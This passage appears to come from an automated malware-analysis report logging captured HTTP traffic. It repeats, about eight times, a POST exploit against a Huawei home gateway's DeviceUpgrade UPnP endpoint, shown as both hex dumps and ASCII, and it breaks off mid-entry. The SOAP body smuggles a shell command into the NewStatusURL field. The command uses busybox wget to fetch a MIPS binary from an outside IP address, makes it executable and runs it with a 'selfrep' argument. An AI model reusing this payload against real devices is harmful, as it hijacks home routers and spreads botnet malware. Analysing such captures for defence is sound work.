63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 